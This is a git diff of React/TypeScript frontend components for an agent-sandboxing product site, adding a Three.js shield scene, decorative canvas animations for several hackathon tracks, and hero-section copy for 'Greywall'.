const angle = p.offset + t * p.speed
|
||||
dummy.position.set(
|
||||
Math.cos(angle) * p.radius,
|
||||
p.y + Math.sin(t * 0.5 + p.offset) * 0.3,
|
||||
Math.sin(angle) * p.radius
|
||||
)
|
||||
dummy.scale.setScalar(p.size * (0.8 + Math.sin(t * 2 + p.offset) * 0.2))
|
||||
dummy.updateMatrix()
|
||||
mesh.current!.setMatrixAt(i, dummy.matrix)
|
||||
})
|
||||
mesh.current.instanceMatrix.needsUpdate = true
|
||||
})
|
||||
|
||||
return (
|
||||
<instancedMesh ref={mesh} args={[undefined, undefined, count]}>
|
||||
<sphereGeometry args={[1, 8, 8]} />
|
||||
<meshBasicMaterial color="#D95E2A" transparent opacity={0.6} />
|
||||
</instancedMesh>
|
||||
)
|
||||
}
|
||||
|
||||
/* ─── Orbital rings ─── */
|
||||
|
||||
function OrbitalRing({ radius, speed, tilt }: { radius: number; speed: number; tilt: number }) {
|
||||
const ref = useRef<THREE.Mesh>(null)
|
||||
|
||||
useFrame(({ clock }) => {
|
||||
if (!ref.current) return
|
||||
ref.current.rotation.z = tilt
|
||||
ref.current.rotation.y = clock.getElapsedTime() * speed
|
||||
})
|
||||
|
||||
return (
|
||||
<mesh ref={ref}>
|
||||
<torusGeometry args={[radius, 0.005, 16, 100]} />
|
||||
<meshBasicMaterial color="#D95E2A" transparent opacity={0.15} />
|
||||
</mesh>
|
||||
)
|
||||
}
|
||||
|
||||
/* ─── Shield geometry ─── */
|
||||
|
||||
function ShieldMesh() {
|
||||
const ref = useRef<THREE.Group>(null)
|
||||
|
||||
const shieldShape = useMemo(() => {
|
||||
const shape = new THREE.Shape()
|
||||
// Shield outline
|
||||
shape.moveTo(0, 1.3)
|
||||
shape.bezierCurveTo(0.6, 1.2, 1.0, 0.9, 1.0, 0.4)
|
||||
shape.bezierCurveTo(1.0, -0.2, 0.7, -0.8, 0, -1.3)
|
||||
shape.bezierCurveTo(-0.7, -0.8, -1.0, -0.2, -1.0, 0.4)
|
||||
shape.bezierCurveTo(-1.0, 0.9, -0.6, 1.2, 0, 1.3)
|
||||
return shape
|
||||
}, [])
|
||||
|
||||
const extrudeSettings = useMemo(() => ({
|
||||
depth: 0.15,
|
||||
bevelEnabled: true,
|
||||
bevelThickness: 0.03,
|
||||
bevelSize: 0.03,
|
||||
bevelSegments: 3,
|
||||
}), [])
|
||||
|
||||
useFrame(({ clock }) => {
|
||||
if (!ref.current) return
|
||||
ref.current.rotation.y = Math.sin(clock.getElapsedTime() * 0.3) * 0.15
|
||||
})
|
||||
|
||||
return (
|
||||
<Float speed={1.5} rotationIntensity={0.2} floatIntensity={0.3}>
|
||||
<group ref={ref}>
|
||||
{/* Shield body */}
|
||||
<mesh position={[0, 0, -0.075]}>
|
||||
<extrudeGeometry args={[shieldShape, extrudeSettings]} />
|
||||
<meshStandardMaterial
|
||||
color="#1a1a18"
|
||||
metalness={0.7}
|
||||
roughness={0.3}
|
||||
emissive="#D95E2A"
|
||||
emissiveIntensity={0.05}
|
||||
/>
|
||||
</mesh>
|
||||
|
||||
{/* Inner shield face */}
|
||||
<mesh position={[0, 0, 0.08]}>
|
||||
<shapeGeometry args={[shieldShape]} />
|
||||
<meshStandardMaterial
|
||||
color="#D95E2A"
|
||||
metalness={0.5}
|
||||
roughness={0.4}
|
||||
transparent
|
||||
opacity={0.15}
|
||||
/>
|
||||
</mesh>
|
||||
|
||||
{/* Shield edge glow */}
|
||||
<mesh position={[0, 0, -0.075]}>
|
||||
<extrudeGeometry args={[shieldShape, { ...extrudeSettings, depth: 0.16 }]} />
|
||||
<meshBasicMaterial color="#D95E2A" transparent opacity={0.08} wireframe />
|
||||
</mesh>
|
||||
|
||||
{/* Center node */}
|
||||
<mesh position={[0, 0.1, 0.1]}>
|
||||
<sphereGeometry args={[0.08, 16, 16]} />
|
||||
<meshStandardMaterial color="#D95E2A" emissive="#D95E2A" emissiveIntensity={0.8} />
|
||||
</mesh>
|
||||
|
||||
{/* Network nodes */}
|
||||
{[
|
||||
[0, 0.55, 0.1],
|
||||
[-0.35, -0.15, 0.1],
|
||||
[0.35, -0.15, 0.1],
|
||||
[0, -0.55, 0.1],
|
||||
].map((pos, i) => (
|
||||
<mesh key={i} position={pos as [number, number, number]}>
|
||||
<sphereGeometry args={[0.045, 12, 12]} />
|
||||
<meshStandardMaterial color="#D95E2A" emissive="#D95E2A" emissiveIntensity={0.5} />
|
||||
</mesh>
|
||||
))}
|
||||
</group>
|
||||
</Float>
|
||||
)
|
||||
}
|
||||
|
||||
/* ─── Data stream lines flowing around ─── */
|
||||
|
||||
function DataStreams({ count = 12 }: { count?: number }) {
|
||||
const ref = useRef<THREE.Group>(null)
|
||||
|
||||
const streams = useMemo(() => {
|
||||
return Array.from({ length: count }, (_, i) => {
|
||||
const angle = (i / count) * Math.PI * 2
|
||||
const radius = 2.0 + Math.random() * 0.5
|
||||
const points = Array.from({ length: 20 }, (_, j) => {
|
||||
const t = j / 19
|
||||
const a = angle + t * Math.PI * 0.5
|
||||
return new THREE.Vector3(
|
||||
Math.cos(a) * radius * (1 - t * 0.3),
|
||||
(t - 0.5) * 3,
|
||||
Math.sin(a) * radius * (1 - t * 0.3)
|
||||
)
|
||||
})
|
||||
return { points, speed: 0.5 + Math.random() * 0.5 }
|
||||
})
|
||||
}, [count])
|
||||
|
||||
useFrame(({ clock }) => {
|
||||
if (!ref.current) return
|
||||
ref.current.rotation.y = clock.getElapsedTime() * 0.05
|
||||
})
|
||||
|
||||
return (
|
||||
<group ref={ref}>
|
||||
{streams.map((stream, i) => {
|
||||
const curve = new THREE.CatmullRomCurve3(stream.points)
|
||||
return (
|
||||
<mesh key={i}>
|
||||
<tubeGeometry args={[curve, 20, 0.003, 4, false]} />
|
||||
<meshBasicMaterial color="#D95E2A" transparent opacity={0.1} />
|
||||
</mesh>
|
||||
)
|
||||
})}
|
||||
</group>
|
||||
)
|
||||
}
|
||||
|
||||
/* ─── Main scene ─── */
|
||||
|
||||
export function ShieldScene() {
|
||||
return (
|
||||
<div className="w-full h-full min-h-[300px]">
|
||||
<Canvas
|
||||
camera={{ position: [0, 0, 5.5], fov: 42 }}
|
||||
dpr={[1, 2]}
|
||||
gl={{ antialias: true, alpha: true }}
|
||||
style={{ background: 'transparent' }}
|
||||
>
|
||||
<ambientLight intensity={0.4} />
|
||||
<pointLight position={[5, 5, 5]} intensity={0.8} color="#F9F9F7" />
|
||||
<pointLight position={[-3, -2, 4]} intensity={0.3} color="#D95E2A" />
|
||||
|
||||
<ShieldMesh />
|
||||
<Particles />
|
||||
<DataStreams />
|
||||
<OrbitalRing radius={2.2} speed={0.1} tilt={0.3} />
|
||||
<OrbitalRing radius={2.8} speed={-0.07} tilt={-0.5} />
|
||||
<OrbitalRing radius={1.6} speed={0.15} tilt={0.8} />
|
||||
</Canvas>
|
||||
</div>
|
||||
)
|
||||
}
|
||||
550
components/hackathons/track-visuals.tsx
Normal file
@@ -0,0 +1,550 @@
|
||||
'use client'
|
||||
|
||||
import { useEffect, useRef } from 'react'
|
||||
|
||||
/* ─── Animated data stream (Track 1) ─── */
|
||||
/* Compact flowing waveform + particles, self-contained */
|
||||
|
||||
export function StreamViz() {
|
||||
const canvasRef = useRef<HTMLCanvasElement>(null)
|
||||
|
||||
useEffect(() => {
|
||||
const canvas = canvasRef.current
|
||||
if (!canvas) return
|
||||
const ctx = canvas.getContext('2d')
|
||||
if (!ctx) return
|
||||
|
||||
const dpr = window.devicePixelRatio || 1
|
||||
let w = 0, h = 0
|
||||
|
||||
const resize = () => {
|
||||
const rect = canvas.getBoundingClientRect()
|
||||
w = rect.width
|
||||
h = rect.height
|
||||
canvas.width = w * dpr
|
||||
canvas.height = h * dpr
|
||||
ctx.setTransform(dpr, 0, 0, dpr, 0, 0)
|
||||
}
|
||||
resize()
|
||||
|
||||
const particles: { x: number; y: number; vy: number; size: number; alpha: number }[] = []
|
||||
for (let i = 0; i < 30; i++) {
|
||||
particles.push({
|
||||
x: Math.random() * 250,
|
||||
y: Math.random() * 300,
|
||||
vy: -0.2 - Math.random() * 0.5,
|
||||
size: 1 + Math.random() * 2,
|
||||
alpha: 0.15 + Math.random() * 0.35,
|
||||
})
|
||||
}
|
||||
|
||||
let t = 0
|
||||
let animId: number
|
||||
|
||||
const draw = () => {
|
||||
ctx.clearRect(0, 0, w, h)
|
||||
t += 0.02
|
||||
|
||||
// Flowing wave lines
|
||||
for (let line = 0; line < 4; line++) {
|
||||
ctx.beginPath()
|
||||
const baseY = h * 0.25 + line * (h * 0.15)
|
||||
for (let x = 0; x <= w; x += 2) {
|
||||
const y = baseY + Math.sin(x * 0.03 + t + line * 1.5) * 12 + Math.sin(x * 0.015 + t * 0.7) * 8
|
||||
if (x === 0) ctx.moveTo(x, y)
|
||||
else ctx.lineTo(x, y)
|
||||
}
|
||||
ctx.strokeStyle = `rgba(217, 94, 42, ${0.06 + line * 0.03})`
|
||||
ctx.lineWidth = 1
|
||||
ctx.stroke()
|
||||
}
|
||||
|
||||
// Particles
|
||||
particles.forEach((p) => {
|
||||
ctx.beginPath()
|
||||
ctx.arc(p.x, p.y, p.size, 0, Math.PI * 2)
|
||||
ctx.fillStyle = `rgba(217, 94, 42, ${p.alpha})`
|
||||
ctx.fill()
|
||||
|
||||
p.y += p.vy
|
||||
if (p.y < -5) { p.y = h + 5; p.x = Math.random() * w }
|
||||
})
|
||||
|
||||
// Connections between close particles
|
||||
for (let i = 0; i < particles.length; i++) {
|
||||
for (let j = i + 1; j < particles.length; j++) {
|
||||
const dx = particles[i].x - particles[j].x
|
||||
const dy = particles[i].y - particles[j].y
|
||||
const dist = Math.sqrt(dx * dx + dy * dy)
|
||||
if (dist < 60) {
|
||||
ctx.beginPath()
|
||||
ctx.moveTo(particles[i].x, particles[i].y)
|
||||
ctx.lineTo(particles[j].x, particles[j].y)
|
||||
ctx.strokeStyle = `rgba(217, 94, 42, ${0.06 * (1 - dist / 60)})`
|
||||
ctx.lineWidth = 0.5
|
||||
ctx.stroke()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
animId = requestAnimationFrame(draw)
|
||||
}
|
||||
draw()
|
||||
|
||||
window.addEventListener('resize', resize)
|
||||
return () => { cancelAnimationFrame(animId); window.removeEventListener('resize', resize) }
|
||||
}, [])
|
||||
|
||||
return <canvas ref={canvasRef} className="absolute inset-0 w-full h-full" style={{ display: 'block' }} />
|
||||
}
|
||||
|
||||
/* ─── Pulsing lock with rings (Track 2) ─── */
|
||||
|
||||
export function SecureViz() {
|
||||
return (
|
||||
<div className="absolute inset-0 flex items-center justify-center">
|
||||
{/* Pulsing rings */}
|
||||
<div className="absolute w-20 h-20 rounded-full border border-emerald-500/15 animate-ping [animation-duration:3s]" />
|
||||
<div className="absolute w-32 h-32 rounded-full border border-emerald-500/8 animate-ping [animation-duration:4s] [animation-delay:0.5s]" />
|
||||
<div className="absolute w-44 h-44 rounded-full border border-emerald-500/[0.04] animate-ping [animation-duration:5s] [animation-delay:1s]" />
|
||||
|
||||
{/* Rotating orbit */}
|
||||
<svg className="absolute w-28 h-28 animate-[spin_15s_linear_infinite]" viewBox="0 0 100 100" fill="none">
|
||||
<circle cx="50" cy="50" r="45" stroke="rgba(16,185,129,0.12)" strokeWidth="0.8" strokeDasharray="4 6" />
|
||||
</svg>
|
||||
<svg className="absolute w-40 h-40 animate-[spin_25s_linear_infinite_reverse]" viewBox="0 0 100 100" fill="none">
|
||||
<circle cx="50" cy="50" r="45" stroke="rgba(16,185,129,0.07)" strokeWidth="0.5" strokeDasharray="2 8" />
|
||||
</svg>
|
||||
|
||||
{/* Orbiting dots */}
|
||||
<div className="absolute w-24 h-24 animate-[spin_6s_linear_infinite]">
|
||||
<div className="absolute top-0 left-1/2 -translate-x-1/2 w-1.5 h-1.5 rounded-full bg-emerald-400/50" />
|
||||
</div>
|
||||
<div className="absolute w-36 h-36 animate-[spin_10s_linear_infinite_reverse]">
|
||||
<div className="absolute bottom-0 left-1/2 -translate-x-1/2 w-1 h-1 rounded-full bg-emerald-400/30" />
|
||||
</div>
|
||||
|
||||
{/* Center lock */}
|
||||
<div className="relative z-10 w-14 h-14 rounded-xl bg-emerald-500/10 border border-emerald-500/20 flex items-center justify-center">
|
||||
<svg className="w-6 h-6 text-emerald-400" viewBox="0 0 24 24" fill="none" stroke="currentColor" strokeWidth="1.5" strokeLinecap="round" strokeLinejoin="round">
|
||||
<rect width="18" height="11" x="3" y="11" rx="2" ry="2" />
|
||||
<path d="M7 11V7a5 5 0 0 1 10 0v4" />
|
||||
<circle cx="12" cy="16" r="1" fill="currentColor" />
|
||||
</svg>
|
||||
</div>
|
||||
</div>
|
||||
)
|
||||
}
|
||||
|
||||
/* ─── Radar sweep (Track 3 — Derail Detection) ─── */
|
||||
|
||||
export function RadarViz() {
|
||||
const canvasRef = useRef<HTMLCanvasElement>(null)
|
||||
|
||||
useEffect(() => {
|
||||
const canvas = canvasRef.current
|
||||
if (!canvas) return
|
||||
const ctx = canvas.getContext('2d')
|
||||
if (!ctx) return
|
||||
|
||||
const dpr = window.devicePixelRatio || 1
|
||||
let w = 0, h = 0
|
||||
|
||||
const resize = () => {
|
||||
const rect = canvas.getBoundingClientRect()
|
||||
w = rect.width
|
||||
h = rect.height
|
||||
canvas.width = w * dpr
|
||||
canvas.height = h * dpr
|
||||
ctx.setTransform(dpr, 0, 0, dpr, 0, 0)
|
||||
}
|
||||
resize()
|
||||
|
||||
let t = 0
|
||||
let animId: number
|
||||
|
||||
const blips = Array.from({ length: 6 }, () => ({
|
||||
angle: Math.random() * Math.PI * 2,
|
||||
dist: 0.3 + Math.random() * 0.55,
|
||||
flash: 0,
|
||||
}))
|
||||
|
||||
const draw = () => {
|
||||
ctx.clearRect(0, 0, w, h)
|
||||
t += 0.012
|
||||
|
||||
const cx = w / 2, cy = h / 2
|
||||
const maxR = Math.min(w, h) * 0.42
|
||||
|
||||
// Concentric rings
|
||||
for (let i = 1; i <= 3; i++) {
|
||||
ctx.beginPath()
|
||||
ctx.arc(cx, cy, maxR * (i / 3), 0, Math.PI * 2)
|
||||
ctx.strokeStyle = `rgba(245, 158, 11, ${0.06 + i * 0.02})`
|
||||
ctx.lineWidth = 0.5
|
||||
ctx.stroke()
|
||||
}
|
||||
|
||||
// Cross lines
|
||||
ctx.strokeStyle = 'rgba(245, 158, 11, 0.06)'
|
||||
ctx.lineWidth = 0.5
|
||||
ctx.beginPath(); ctx.moveTo(cx - maxR, cy); ctx.lineTo(cx + maxR, cy); ctx.stroke()
|
||||
ctx.beginPath(); ctx.moveTo(cx, cy - maxR); ctx.lineTo(cx, cy + maxR); ctx.stroke()
|
||||
|
||||
// Sweep line
|
||||
const sweepAngle = t * 1.5
|
||||
const sx = cx + Math.cos(sweepAngle) * maxR
|
||||
const sy = cy + Math.sin(sweepAngle) * maxR
|
||||
ctx.beginPath()
|
||||
ctx.moveTo(cx, cy)
|
||||
ctx.lineTo(sx, sy)
|
||||
ctx.strokeStyle = 'rgba(245, 158, 11, 0.3)'
|
||||
ctx.lineWidth = 1
|
||||
ctx.stroke()
|
||||
|
||||
// Sweep trail (fading arc segments)
|
||||
const trailLength = 0.6
|
||||
const segments = 12
|
||||
for (let s = 0; s < segments; s++) {
|
||||
const frac = s / segments
|
||||
const a0 = sweepAngle - trailLength * (1 - frac)
|
||||
const a1 = sweepAngle - trailLength * (1 - (s + 1) / segments)
|
||||
ctx.beginPath()
|
||||
ctx.moveTo(cx, cy)
|
||||
ctx.arc(cx, cy, maxR, a0, a1)
|
||||
ctx.closePath()
|
||||
ctx.fillStyle = `rgba(245, 158, 11, ${frac * 0.08})`
|
||||
ctx.fill()
|
||||
}
|
||||
|
||||
// Blips
|
||||
blips.forEach((b) => {
|
||||
const angleDiff = ((sweepAngle % (Math.PI * 2)) - b.angle + Math.PI * 4) % (Math.PI * 2)
|
||||
if (angleDiff < 0.15) b.flash = 1
|
||||
b.flash *= 0.96
|
||||
if (b.flash > 0.01) {
|
||||
const bx = cx + Math.cos(b.angle) * maxR * b.dist
|
||||
const by = cy + Math.sin(b.angle) * maxR * b.dist
|
||||
ctx.beginPath()
|
||||
ctx.arc(bx, by, 2 + b.flash * 2, 0, Math.PI * 2)
|
||||
ctx.fillStyle = `rgba(245, 158, 11, ${b.flash * 0.6})`
|
||||
ctx.fill()
|
||||
}
|
||||
})
|
||||
|
||||
// Center dot
|
||||
ctx.beginPath()
|
||||
ctx.arc(cx, cy, 2.5, 0, Math.PI * 2)
|
||||
ctx.fillStyle = 'rgba(245, 158, 11, 0.5)'
|
||||
ctx.fill()
|
||||
|
||||
animId = requestAnimationFrame(draw)
|
||||
}
|
||||
draw()
|
||||
|
||||
window.addEventListener('resize', resize)
|
||||
return () => { cancelAnimationFrame(animId); window.removeEventListener('resize', resize) }
|
||||
}, [])
|
||||
|
||||
return <canvas ref={canvasRef} className="absolute inset-0 w-full h-full" style={{ display: 'block' }} />
|
||||
}
|
||||
|
||||
/* ─── Scanning grid (Track 4 — Malicious Request Detection) ─── */
|
||||
|
||||
export function ScanViz() {
|
||||
const canvasRef = useRef<HTMLCanvasElement>(null)
|
||||
|
||||
useEffect(() => {
|
||||
const canvas = canvasRef.current
|
||||
if (!canvas) return
|
||||
const ctx = canvas.getContext('2d')
|
||||
if (!ctx) return
|
||||
|
||||
const dpr = window.devicePixelRatio || 1
|
||||
let w = 0, h = 0
|
||||
|
||||
const resize = () => {
|
||||
const rect = canvas.getBoundingClientRect()
|
||||
w = rect.width
|
||||
h = rect.height
|
||||
canvas.width = w * dpr
|
||||
canvas.height = h * dpr
|
||||
ctx.setTransform(dpr, 0, 0, dpr, 0, 0)
|
||||
}
|
||||
resize()
|
||||
|
||||
let t = 0
|
||||
let animId: number
|
||||
|
||||
const cells = Array.from({ length: 40 }, () => ({
|
||||
col: Math.floor(Math.random() * 8),
|
||||
row: Math.floor(Math.random() * 10),
|
||||
threat: Math.random() < 0.25,
|
||||
flash: 0,
|
||||
}))
|
||||
|
||||
const draw = () => {
|
||||
ctx.clearRect(0, 0, w, h)
|
||||
t += 0.015
|
||||
|
||||
const cellW = w / 8, cellH = h / 10
|
||||
|
||||
// Grid lines
|
||||
for (let i = 0; i <= 8; i++) {
|
||||
ctx.beginPath()
|
||||
ctx.moveTo(i * cellW, 0); ctx.lineTo(i * cellW, h)
|
||||
ctx.strokeStyle = 'rgba(6, 182, 212, 0.06)'
|
||||
ctx.lineWidth = 0.5
|
||||
ctx.stroke()
|
||||
}
|
||||
for (let i = 0; i <= 10; i++) {
|
||||
ctx.beginPath()
|
||||
ctx.moveTo(0, i * cellH); ctx.lineTo(w, i * cellH)
|
||||
ctx.strokeStyle = 'rgba(6, 182, 212, 0.06)'
|
||||
ctx.lineWidth = 0.5
|
||||
ctx.stroke()
|
||||
}
|
||||
|
||||
// Scan line (horizontal, sweeping down)
|
||||
const scanY = (t * 0.5 % 1) * h
|
||||
ctx.beginPath()
|
||||
ctx.moveTo(0, scanY); ctx.lineTo(w, scanY)
|
||||
ctx.strokeStyle = 'rgba(6, 182, 212, 0.4)'
|
||||
ctx.lineWidth = 1.5
|
||||
ctx.stroke()
|
||||
|
||||
// Scan line glow
|
||||
const scanGrad = ctx.createLinearGradient(0, scanY - 30, 0, scanY)
|
||||
scanGrad.addColorStop(0, 'rgba(6, 182, 212, 0)')
|
||||
scanGrad.addColorStop(1, 'rgba(6, 182, 212, 0.06)')
|
||||
ctx.fillStyle = scanGrad
|
||||
ctx.fillRect(0, scanY - 30, w, 30)
|
||||
|
||||
// Cells
|
||||
cells.forEach((c) => {
|
||||
const cellY = c.row * cellH + cellH / 2
|
||||
if (Math.abs(scanY - cellY) < cellH * 0.7) c.flash = 1
|
||||
c.flash *= 0.97
|
||||
|
||||
if (c.flash > 0.01) {
|
||||
const x = c.col * cellW + cellW * 0.15
|
||||
const y = c.row * cellH + cellH * 0.15
|
||||
const cw = cellW * 0.7, ch = cellH * 0.7
|
||||
ctx.fillStyle = c.threat
|
||||
? `rgba(239, 68, 68, ${c.flash * 0.15})`
|
||||
: `rgba(6, 182, 212, ${c.flash * 0.08})`
|
||||
ctx.fillRect(x, y, cw, ch)
|
||||
|
||||
if (c.threat && c.flash > 0.3) {
|
||||
ctx.strokeStyle = `rgba(239, 68, 68, ${c.flash * 0.3})`
|
||||
ctx.lineWidth = 0.8
|
||||
ctx.strokeRect(x, y, cw, ch)
|
||||
}
|
||||
}
|
||||
})
|
||||
|
||||
animId = requestAnimationFrame(draw)
|
||||
}
|
||||
draw()
|
||||
|
||||
window.addEventListener('resize', resize)
|
||||
return () => { cancelAnimationFrame(animId); window.removeEventListener('resize', resize) }
|
||||
}, [])
|
||||
|
||||
return <canvas ref={canvasRef} className="absolute inset-0 w-full h-full" style={{ display: 'block' }} />
|
||||
}
|
||||
|
||||
/* ─── Floating code snippets (Track 5 — Response Rewriting) ─── */
|
||||
|
||||
export function ExtendViz() {
|
||||
const snippets = [
|
||||
{ x: '10%', y: '12%', text: 'fn extend()', delay: '0s' },
|
||||
{ x: '45%', y: '8%', text: '<Plugin />', delay: '0.8s' },
|
||||
{ x: '20%', y: '45%', text: '.hook()', delay: '1.2s' },
|
||||
{ x: '55%', y: '42%', text: 'export', delay: '0.4s' },
|
||||
{ x: '15%', y: '75%', text: 'pipe()', delay: '1.6s' },
|
||||
{ x: '50%', y: '78%', text: 'import', delay: '0.6s' },
|
||||
]
|
||||
|
||||
return (
|
||||
<div className="absolute inset-0 flex items-center justify-center">
|
||||
{/* Radiating lines */}
|
||||
<svg className="absolute inset-0 w-full h-full opacity-40" viewBox="0 0 200 200" preserveAspectRatio="xMidYMid meet">
|
||||
{[0, 45, 90, 135, 180, 225, 270, 315].map((angle) => {
|
||||
const rad = (angle * Math.PI) / 180
|
||||
return (
|
||||
<line
|
||||
key={angle}
|
||||
x1="100" y1="100"
|
||||
x2={100 + Math.cos(rad) * 90} y2={100 + Math.sin(rad) * 90}
|
||||
stroke="rgba(139, 92, 246, 0.08)"
|
||||
strokeWidth="0.5"
|
||||
strokeDasharray="2 4"
|
||||
/>
|
||||
)
|
||||
})}
|
||||
</svg>
|
||||
|
||||
{/* Floating snippets */}
|
||||
{snippets.map((s, i) => (
|
||||
<div
|
||||
key={i}
|
||||
className="absolute font-mono text-[9px] px-1.5 py-1 rounded bg-violet-500/8 border border-violet-500/15 text-violet-300/40 animate-pulse whitespace-nowrap"
|
||||
style={{ left: s.x, top: s.y, animationDelay: s.delay, animationDuration: '3s' }}
|
||||
>
|
||||
{s.text}
|
||||
</div>
|
||||
))}
|
||||
|
||||
{/* Center node */}
|
||||
<div className="relative z-10 w-14 h-14 rounded-xl bg-violet-500/10 border border-violet-500/20 flex items-center justify-center">
|
||||
<svg className="w-6 h-6 text-violet-400" viewBox="0 0 24 24" fill="none" stroke="currentColor" strokeWidth="1.5" strokeLinecap="round" strokeLinejoin="round">
|
||||
<polyline points="16 18 22 12 16 6" /><polyline points="8 6 2 12 8 18" />
|
||||
</svg>
|
||||
</div>
|
||||
</div>
|
||||
)
|
||||
}
|
||||
|
||||
/* ─── Benchmark grid (Track 6 — Control Evaluation Benchmark) ─── */
|
||||
|
||||
export function BenchViz() {
|
||||
const canvasRef = useRef<HTMLCanvasElement>(null)
|
||||
|
||||
useEffect(() => {
|
||||
const canvas = canvasRef.current
|
||||
if (!canvas) return
|
||||
const ctx = canvas.getContext('2d')
|
||||
if (!ctx) return
|
||||
|
||||
const dpr = window.devicePixelRatio || 1
|
||||
let w = 0, h = 0
|
||||
|
||||
const resize = () => {
|
||||
const rect = canvas.getBoundingClientRect()
|
||||
w = rect.width
|
||||
h = rect.height
|
||||
canvas.width = w * dpr
|
||||
canvas.height = h * dpr
|
||||
ctx.setTransform(dpr, 0, 0, dpr, 0, 0)
|
||||
}
|
||||
resize()
|
||||
|
||||
let t = 0
|
||||
let animId: number
|
||||
|
||||
const cols = 6, rows = 8
|
||||
const cells = Array.from({ length: cols * rows }, (_, i) => ({
|
||||
pass: Math.random() > 0.25,
|
||||
revealAt: Math.random() * 4 + (Math.floor(i / cols)) * 0.3,
|
||||
pulsePhase: Math.random() * Math.PI * 2,
|
||||
}))
|
||||
|
||||
const draw = () => {
|
||||
ctx.clearRect(0, 0, w, h)
|
||||
t += 0.016
|
||||
|
||||
const padX = w * 0.08, padY = h * 0.06
|
||||
const cellW = (w - padX * 2) / cols
|
||||
const cellH = (h - padY * 2) / rows
|
||||
const gap = 2.5
|
||||
const loopT = t % 6
|
||||
|
||||
cells.forEach((cell, i) => {
|
||||
const col = i % cols
|
||||
const row = Math.floor(i / cols)
|
||||
const x = padX + col * cellW + gap
|
||||
const y = padY + row * cellH + gap
|
||||
const cw = cellW - gap * 2
|
||||
const ch = cellH - gap * 2
|
||||
const r = Math.min(cw, ch) * 0.15
|
||||
|
||||
if (loopT < cell.revealAt) {
|
||||
// Not yet revealed — dim outline
|
||||
ctx.strokeStyle = 'rgba(244, 63, 94, 0.06)'
|
||||
ctx.lineWidth = 0.5
|
||||
ctx.beginPath()
|
||||
ctx.roundRect(x, y, cw, ch, r)
|
||||
ctx.stroke()
|
||||
return
|
||||
}
|
||||
|
||||
// Reveal animation
|
||||
const revealProgress = Math.min((loopT - cell.revealAt) * 2, 1)
|
||||
const pulse = Math.sin(t * 2 + cell.pulsePhase) * 0.15 + 0.85
|
||||
|
||||
if (cell.pass) {
|
||||
// Pass — rose/green tint
|
||||
ctx.fillStyle = `rgba(74, 222, 128, ${0.12 * revealProgress * pulse})`
|
||||
ctx.beginPath()
|
||||
ctx.roundRect(x, y, cw, ch, r)
|
||||
ctx.fill()
|
||||
|
||||
ctx.strokeStyle = `rgba(74, 222, 128, ${0.25 * revealProgress})`
|
||||
ctx.lineWidth = 0.5
|
||||
ctx.beginPath()
|
||||
ctx.roundRect(x, y, cw, ch, r)
|
||||
ctx.stroke()
|
||||
|
||||
// Checkmark
|
||||
if (revealProgress > 0.5) {
|
||||
const alpha = (revealProgress - 0.5) * 2
|
||||
const cx = x + cw / 2, cy = y + ch / 2
|
||||
const s = Math.min(cw, ch) * 0.2
|
||||
ctx.strokeStyle = `rgba(74, 222, 128, ${0.5 * alpha})`
|
||||
ctx.lineWidth = 1.2
|
||||
ctx.beginPath()
|
||||
ctx.moveTo(cx - s * 0.6, cy)
|
||||
ctx.lineTo(cx - s * 0.1, cy + s * 0.5)
|
||||
ctx.lineTo(cx + s * 0.6, cy - s * 0.4)
|
||||
ctx.stroke()
|
||||
}
|
||||
} else {
|
||||
// Fail — red tint
|
||||
ctx.fillStyle = `rgba(244, 63, 94, ${0.15 * revealProgress * pulse})`
|
||||
ctx.beginPath()
|
||||
ctx.roundRect(x, y, cw, ch, r)
|
||||
ctx.fill()
|
||||
|
||||
ctx.strokeStyle = `rgba(244, 63, 94, ${0.3 * revealProgress})`
|
||||
ctx.lineWidth = 0.5
|
||||
ctx.beginPath()
|
||||
ctx.roundRect(x, y, cw, ch, r)
|
||||
ctx.stroke()
|
||||
|
||||
// X mark
|
||||
if (revealProgress > 0.5) {
|
||||
const alpha = (revealProgress - 0.5) * 2
|
||||
const cx = x + cw / 2, cy = y + ch / 2
|
||||
const s = Math.min(cw, ch) * 0.18
|
||||
ctx.strokeStyle = `rgba(244, 63, 94, ${0.5 * alpha})`
|
||||
ctx.lineWidth = 1.2
|
||||
ctx.beginPath()
|
||||
ctx.moveTo(cx - s, cy - s)
|
||||
ctx.lineTo(cx + s, cy + s)
|
||||
ctx.moveTo(cx + s, cy - s)
|
||||
ctx.lineTo(cx - s, cy + s)
|
||||
ctx.stroke()
|
||||
}
|
||||
}
|
||||
})
|
||||
|
||||
// Progress bar at bottom
|
||||
const barY = h - padY * 0.6
|
||||
const barH = 2
|
||||
const progress = Math.min(loopT / 5, 1)
|
||||
ctx.fillStyle = 'rgba(244, 63, 94, 0.08)'
|
||||
ctx.fillRect(padX, barY, w - padX * 2, barH)
|
||||
ctx.fillStyle = 'rgba(244, 63, 94, 0.3)'
|
||||
ctx.fillRect(padX, barY, (w - padX * 2) * progress, barH)
|
||||
|
||||
animId = requestAnimationFrame(draw)
|
||||
}
|
||||
draw()
|
||||
|
||||
window.addEventListener('resize', resize)
|
||||
return () => { cancelAnimationFrame(animId); window.removeEventListener('resize', resize) }
|
||||
}, [])
|
||||
|
||||
return <canvas ref={canvasRef} className="absolute inset-0 w-full h-full" style={{ display: 'block' }} />
|
||||
}
|
||||
@@ -1,6 +1,6 @@
|
||||
export function Hero() {
|
||||
return (
|
||||
<section className="relative pt-24 sm:pt-32 pb-16 sm:pb-24 px-4 sm:px-6 overflow-hidden">
|
||||
<section className="relative pt-24 sm:pt-32 pb-12 sm:pb-16 px-4 sm:px-6 overflow-hidden">
|
||||
{/* Subtle background gradient */}
|
||||
<div className="absolute inset-0 bg-[radial-gradient(ellipse_at_top,rgba(217,94,42,0.05)_0%,transparent_50%)]" />
|
||||
{/* Grid pattern */}
|
||||
@@ -13,13 +13,30 @@ export function Hero() {
|
||||
}}
|
||||
/>
|
||||
|
||||
<div className="relative mx-auto max-w-3xl text-center">
|
||||
<div className="relative mx-auto max-w-4xl text-center">
|
||||
<h1 className="font-serif text-4xl sm:text-5xl md:text-6xl font-semibold tracking-tight leading-[1.1] mb-6">
|
||||
Constrain your agents.
|
||||
<br />
|
||||
<span className="text-foreground">Know what they </span><em className="italic text-primary">touch</em><span className="text-foreground">.</span>
|
||||
<em className="italic text-primary">Greywall</em> your agent & let it cook.
|
||||
</h1>
|
||||
|
||||
<p className="text-lg text-muted-foreground leading-relaxed max-w-2xl mx-auto font-serif mb-6">
|
||||
Frictionless sandboxing with real-time observability & dynamic controls, for Linux & macOS.
|
||||
</p>
|
||||
